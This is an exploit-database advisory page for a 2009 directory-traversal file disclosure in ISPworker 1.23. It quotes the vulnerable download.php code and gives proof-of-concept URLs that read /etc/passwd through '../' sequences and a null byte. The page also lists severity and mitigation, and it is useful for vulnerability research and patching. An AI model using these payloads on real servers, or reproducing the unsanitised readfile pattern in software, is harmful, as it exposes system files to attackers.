ISPworker - exploit.company

vendor:

ISPworker

by:

cr4wl3r

7.5

CVSS

HIGH

Remote File Disclosure

CWE

Product Name: ISPworker

Affected Version From: 1.23

Affected Version To: 1.23

Patch Exists: YES

Related CWE: N/A

CPE: ispworker

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

ISPworker <= 1.23 Remote File Disclosure exploit

The vulnerability exists in the download.php file of ISPworker version 1.23. The file allows attackers to download any file from the server by using the ticketid and filename parameters. An attacker can use the '../' directory traversal technique to access files outside the web root directory.

Mitigation:

Upgrade to the latest version of ISPworker or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]



########################################################################

#ISPworker <= 1.23 Remote File Disclosure exploit

#Download Script      :  http://www.ispware.de/_files/ispworker-1.23.tar.gz

#Dork                 :  die("lamers attempt");  :P

########################################################################

#

#Vuln : ./ispworker-1.23/files/ispworker/module/ticket/download.php 

#

#       <?header('Content-type: '.$_REQUEST[type]);

#        header('Content-Disposition: attachment; filename="'.$_REQUEST[filename].'"');

#        readfile("./tmp/$ticketid"."_".$_REQUEST[filename]);

#       ?>

#

#PoC  :  http://[target]/[path]/module/ticket/download.php?ticketid=../../../../../../../../../etc/passwd%00

#        http://[target]/[path]/module/ticket/download.php?filename=../../../../../../../../../etc/passwd

#

########################################################################

########################################################################

####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################

########################################################################

########################################################################



   [ Gorontalo / 2009 ]